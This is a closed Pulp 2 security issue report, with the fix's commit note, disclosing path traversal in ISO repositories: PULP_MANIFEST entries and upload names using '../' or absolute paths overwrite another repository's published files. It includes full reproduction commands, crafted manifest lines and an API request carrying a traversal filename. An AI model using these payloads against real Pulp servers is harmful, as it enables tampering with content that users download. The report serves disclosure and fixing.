Issue #3841
closedPulp 2: Malicious iso feed repo can write arbitrary files with user apache.
Description
Overview¶
I think I found a couple of security problems with iso repositories, where a malicious user or a malicious iso feed repository can write to (more or less) any location accessible to the ‘apache’ user. In the examples below I use this to overwrite published content of another repository.
I verified this behavior using Pulp 2.16.1, but this problem should be present in previous versions as well.
Here is a small demonstration using two iso repositories:
# pulp-admin iso repo create --repo-id alice --feed https://default-bento-centos-74.vagrantup.com/repos/iso/alice/ --relative-url alice --validate true --serve-https true --remove-missing true
# pulp-admin iso repo sync run --repo-id alice
# pulp-admin iso repo publish run --repo-id alice
The alice upstream repository contains a file named "alice" with content "alice\n". Everything is like it should be in the published repo:
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice
alice
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice | sha256sum
f87165e305b0f7c4824d3806434f9d0909610a25641ab8773cf92a48c9d77670 -
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/PULP_MANIFEST
alice,f87165e305b0f7c4824d3806434f9d0909610a25641ab8773cf92a48c9d77670,6
Now create, sync and publish the malicious repository:
# pulp-admin iso repo create --repo-id mallory --feed https://default-bento-centos-74.vagrantup.com/repos/iso/m1/m2/m3/m4/m5/m6/m7/m8/m9/ --relative-url mallory --validate true --serve-https true --remove-missing true
# pulp-admin iso repo sync run --repo-id mallory
# pulp-admin iso repo publish run --repo-id mallory
This publish overwrites the published content of the alice repo!
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice
mallory
Even the PULP_MANIFEST has been overwritten and is consistent with the new content:
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice | sha256sum
cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92 -
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/PULP_MANIFEST
alice,cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92,8
This behavior is a result of the following problems:
Problem 1: Relative path with ".." are allowed in PULP_MANIFEST¶
Relative paths with ".." are allowed in the upstream PULP_MANIFEST and can be used to "break out" of the working directory of the publishing task. This happens when populating the build dir with symlinks (see https://github.com/pulp/pulp/blob/2-master/server/pulp/plugins/file/distributor.py#L90)
In the default configuration, the file system location (at least the directory depth) of the working directory is well-known. We can construct a relative path from the working directory to the default location of the publication directory of the "alice" repo. The PULP_MANIFEST file of the malicious feed repo looks like this:
../../../../../lib/pulp/published/https/isos/alice/alice,cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92,8
../../../../../lib/pulp/published/https/isos/alice/PULP_MANIFEST,8004a87fc2db95ed069d5f9abbe7f746b4151cb6b7398415887e5e690440dfef,73
To ensure that the sync finds the two files that overwrite the published "alice" repo, the directory structure of the upstream repository looks like this:
repos/iso/m1
\-- m2
\-- m3
\-- m4
|-- lib
| \-- pulp
| \-- published
| \-- https
| \-- isos
| \-- alice
| |-- alice
| \-- PULP_MANIFEST
\-- m5
\-- m6
\-- m7
\-- m8
\-- m9
\-- PULP_MANIFEST
Of course, the base path of the repo (".../m9/") looks suspicious in this simple example. However, it should be possible to hide this if one is controlling the upstream HTTP server.
I have attached a tar file containing the content of both the alice and the mallory upstream repos.
Problem 2: Absolute paths are allowed in PULP_MANIFEST¶
The same effect can be achieved using absolute paths in PULP_MANIFEST
(because of the behavior of Python's `os.path.join` function at https://github.com/pulp/pulp/blob/2-master/server/pulp/plugins/file/distributor.py#L217). The following feed PULP_MANIFEST file causes the same files as above to be overwritten:
/var/lib/pulp/published/https/isos/alice/alice,cc6e30643f964b8c9449e297cf0e76ac198b39ed52e30220b51f4212f3d70a92,8
/var/lib/pulp/published/https/isos/alice/PULP_MANIFEST,8004a87fc2db95ed069d5f9abbe7f746b4151cb6b7398415887e5e690440dfef,73
(Of course, you will have to provide the actual content of the files listed in the manifest accordingly)
Problem 3: Content name not verified on import of artifacts¶
Another scenario is a Pulp API user who has sufficient rights to import artifacts into an iso repository. The user can use the same approach as above (relative paths using ".." and absolute paths)
# pulp-admin iso repo create --repo-id mallory --relative-url mallory --validate true --serve-https true --remove-missing true
# curl -X POST -u admin:admin --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/api/v2/content/uploads/
{"upload_id": "09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741", "_href": "/pulp/api/v2/content/uploads/09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741/"}
# curl -v -X PUT -u admin:admin -d "mallory" --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/api/v2/content/uploads/09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741/0/
# curl -X POST -u admin:admin --noproxy \* -H "Content-Type: application/json" https://default-bento-centos-74.vagrantup.com/pulp/api/v2/repositories/mallory/actions/import_upload/ -d '{"override_config": {}, "unit_type_id": "iso", "upload_id": "09cc0ae5-0bc3-4f0d-ba0b-11bbd08fb741", "unit_key": {"checksum": "c0a497761b175379ed63397cc980546559faa84ca9cbeede773117c31508b6ac", "name": "/var/lib/pulp/published/https/isos/alice/alice", "size": 7}, "unit_metadata": {}}'
# curl --noproxy \* https://default-bento-centos-74.vagrantup.com/pulp/isos/alice/alice
mallory
It is also possible to use the characters '\n' and ',' in the name of the uploaded artifact in order to inject these into the generated PULP_MANIFEST file. Although this is escaped correctly when generating the CSV file, it might make sense to disallow these characters in the name of content units (in order to prevent that simple parsers get confused).
Confine symlink paths under the build_dir
The file distributor doesn't ensure the path of a symlink being created is contained under the
build_dir
. As a result, a rogue input such as an ISO Manifest that contains relative paths, could make Pulp write content to an arbitrary system folder upon publish.This patch prevents the issue by checking that the symlink path:
Thanks gmbnomis, for both identifying this issue as well as for reviewing and suggesting the fix.
Fixes: #3841 https://pulp.plan.io/issues/3841